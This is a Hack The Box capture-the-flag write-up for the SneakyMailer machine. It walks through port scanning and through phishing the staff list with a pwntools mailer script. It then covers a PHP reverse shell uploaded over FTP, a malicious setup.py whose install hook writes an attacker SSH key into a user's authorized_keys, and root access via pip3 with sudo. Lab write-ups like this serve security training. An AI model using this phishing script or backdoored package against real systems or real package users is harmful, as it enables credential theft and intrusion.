Hack The Box: SneakyMailer

Jump Ahead: EnumInitial AccessUserRootResources


To solve this machine, we begin by enumerating exposed services – finding ports 21, 22, 25, 80, 143, 993, and 8080 open. Going to the webserver on port 80, we get a list of email addresses. After sending a phishing email to the addresses, we get a set of credentials. Using the credentials to access the user’s mailbox, we get another set of credentials for the developer user. Next, we use the developer credentials to log into the ftp server, where we learn of a potential subdomain, and also gain upload privileges to the subdomain. With this, we are able to upload a reverse shell – gaining access to the machine as www-data. After enumerating the system, we learn of another subdomain, which is running on port 8080. Reflecting back on the emails we read, we know that if we can upload a python package, the low user will install and test it. Doing this, we are able to upload our SSH public key for the low user – gaining shell access and user.txt. For root, we run sudo -l and see that we can run pip3 as root. Referencing GTFOBins, we are able to privesc to root, and read root.txt.


Like all machines, we begin by enumerating exposed ports using nmap – finding ports 21, 22, 25, 80, 143, 993, and 8080 open.

$ nmap -p- --min-rate 3000
$ nmap -A -oA scans/nmap/TCPscripts -p 21,22,25,80,143,993,8080
# Nmap 7.80 scan initiated Sat Jul 11 17:32:59 2020 as: nmap -A -oA scans/nmap/TCPscripts -p 21,22,25,80,143,993,8080
Nmap scan report for sneakycorp.htb (
Host is up (0.046s latency).

21/tcp   open  ftp      vsftpd 3.0.3
22/tcp   open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 57:c9:00:35:36:56:e6:6f:f6:de:86:40:b2:ee:3e:fd (RSA)
|   256 d8:21:23:28:1d:b8:30:46:e2:67:2d:59:65:f0:0a:05 (ECDSA)
|_  256 5e:4f:23:4e:d4:90:8e:e9:5e:89:74:b3:19:0c:fc:1a (ED25519)
25/tcp   open  smtp     Postfix smtpd
80/tcp   open  http     nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Employee - Dashboard
143/tcp  open  imap     Courier Imapd (released 2018)
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after:  2021-05-14T17:14:21q
|_ssl-date: TLS randomness does not represent time
993/tcp  open  ssl/imap Courier Imapd (released 2018)
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after:  2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
8080/tcp open  http     nginx 1.14.2
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.2
|_http-title: Welcome to nginx!
Service Info: Host:  debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jul 11 17:33:50 2020 -- 1 IP address (1 host up) scanned in 51.36 seconds

Next, we begin enumerating web services on ports 80 and 8080 using nikto and gobuster, however do not find much of interest. nikto tells us we get a redirect on port 80 to http://sneakycorp.htb, so we add that to /etc/hosts before going to the webserver to review it for ourselves. After going to http://sneakycorp.htb, we see a link for a “Team” page – http://sneakycorp.htb/team.php. Checking it out, we get a list of people, with email addresses.

Initial Access

From our port scan, we know that there is a SMTP server exposed on port 25. We can use it to verify the email addresses are valid. To do this, we will use the auxiliary/scanner/smtp/smtp_enum module from Metasploit.

As we now know that all the email addresses are valid, we can try to phish the email addresses with a link to a webserver we host. Since there are a lot of email addresses, and we do not know how many/which will follow the link, we will write a python script to send the phishing emails for it. *For my script, all that is needed to be done is to supply a file with a list of email addresses.*

#!/usr/bin/env python3
## phisher.py by Khaotic

from pwn import *
from sys import argv, exit

LHOST = b"" #attacker IP

if len(argv) != 2:
        print("Supply list of email addresses")

f = open(argv[1], 'r')

#connect to the server and identify
s = remote("sneakycorp.htb", 25)
s.recvuntil(b"220 debian ESMTP Postfix (Debian/GNU")
s.sendline(b"EHLO khaotic@sneakycorp.htb")

#craft our phish
from_mail = b"admin@sneakycorp.htb" #doesn't matter I dont think
msg = b"Check out the new company policy at http://" + LHOST + b"/policy"
#loop over the email addresses
for email_addr in f:
        print("Phishing "+email_addr.strip()+"...")
        s.sendline(b"MAIl FROM: "+from_mail)
        s.sendline(b"RCPT TO: "+email_addr.encode())


Before we start our phishing campaign, we start a netcat listener on port 80. Finally, we run the phishing script. After a while, we get a connection for what appears to be an account registration. At the same time, we see there is an email address, and URL-encoded password.

Using an email client, like claws-mail, we are able to use the email address and decoded password to log into paul‘s email account on the remote server. Navigating the email folders, we find a couple of emails in the “Sent” folder – one with a set of credentials for developer, and the other telling a user of his/her current task.

Using ftp to check the credentials, we verify they are valid.

To make it easier to recursively download files from ftp, we can use the wget program.

$ wget -r --ftp-user=developer --ftp-password='password' ftp://$RHOST/

Looking through the files, they initially look to be that of the webserver, however, we notice “Dev. Sneaky Corp” vs “Sneaky Corp” from the main page. Given that these files were in the dev/ directory of the FTP server, we make the assumption that “dev” is another subdomain. After adding dev.sneakycorp.htb to /etc/hosts, we go to the subdomain in the browser, and are presented with another page – different than that of the main site.

Logging back into the FTP server, we learn we are able to upload files to the dev/ directory. Since we know that this directory points to http://dev.sneakycorp.htb, we should be able to get remote code execution. To do that, we can upload a php reverse shell to the webserver, then get it to execute by browsing to it. Before triggering the remote code execution, we need to be sure to open a socket listener. After browsing to the reverse shell, we do indeed get a shell callback – getting shell access to the machine as www-data

Getting User

After getting initial access to the machine, we begin enumerating the machine locally. Since we know there are multiple nginx webservers running (based on nmap script scans), we go look at their configurations. From /etc/nginx/sites-available/pypi.sneakycorp.htb, we learn of a new subdomain (pypi.sneakycorp.htb), which is hosted externally on port 8080, and port forwards to For now, we add the subdomain to /etc/hosts and continue our enumeration.

While looking through running processes, we see a pypi server configured to run on (which the nginx server is set to proxy to), as well as the password for authentication being stored at /var/www/pypi.sneakycorp.htb/.htpasswd. We extract the password, and use hashcat to crack it.

Reflecting back on the emails we read, the low user is tasked with installing and testing python modules uploaded to the PyPI service. Now that we have credentials for the service, we should be able to get low to execute code we upload to it. In our research of PyPI, we learn of a program called twine that we can use to upload a package to the PyPI server. Following the guide as a foundation, we instead use this for our setup.py. There were some issues with getting the reverse shell to work, however, we rewrote it to write our public ssh key to /home/low/.ssh/authorized_keys. To get a public key, we can use the ssh-keygen program.

$ ssh-keygen -b 2048

While testing this locally, we had some issues getting this to work correctly, and found the fix to be commenting out install.run(self).

from setuptools import setup
from setuptools.command.install import install
import base64
import os

class CustomInstall(install):
  def run(self):
    f = open("/home/low/.ssh/authorized_keys", "a")
    f.write("ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDYDeo6mVFxPhDFojJnUwSDSfPGX2KtKSwNJAfaULvP0Sd92/eFzfVgQZNOKKuSZIIy0CmwVZtbvWLkdXOzRxrUxWQB5hDhd/Xj+kcV3E+6NH8QfwjIHVTaC21/u5lKsVE7YEAwzSL+uhWvdYRherQQC2Pe2mXriNNuoQTnuhRje/NJYw54EY678ec15Q7Xt6iy0MaaPlFOnkzsBW/Jis8BYaKMOZjN3tLk5y1aAImUQyCZyPgptfNXgnYcyHveHHAX6hqF71pWnpXg9TKIRoBqAHLPidAQwnChuFcIG+ecdACYpeckU1RZajOBtiEcduM67fxdFAHpouFSJ5ZFqX3 khaotic@is.cool\n")

      description='This will exploit a sudoer able to /usr/bin/pip install *',
      cmdclass={'install': CustomInstall})

Finally, we repackage the script, then use twine to upload it to the remote PyPI server.

$ python3 setup.py sdist
$ twine upload --verbose --repository-url http://pypi.sneakycorp.htb:8080/ -u pypi -p password dist/*;

Using ssh with our generated private key, we gain access to the machine as low, and can now read user.txt.

Getting Root

Having gained access to the remote machine as low, one of the first things we do is see what commands we can run with sudo. Doing so, we see that we can run pip3 as root – without a password

Checking GTFOBins, we see that it is possible to get a root shell. Using the resource as a guide, we get a shell as root. Now we are able to read root.txt.

Thank you for taking the time to read my write-up. I am interested in other ways this machine has been solved. Feel free to reach out to me and we can discuss it. Thanks!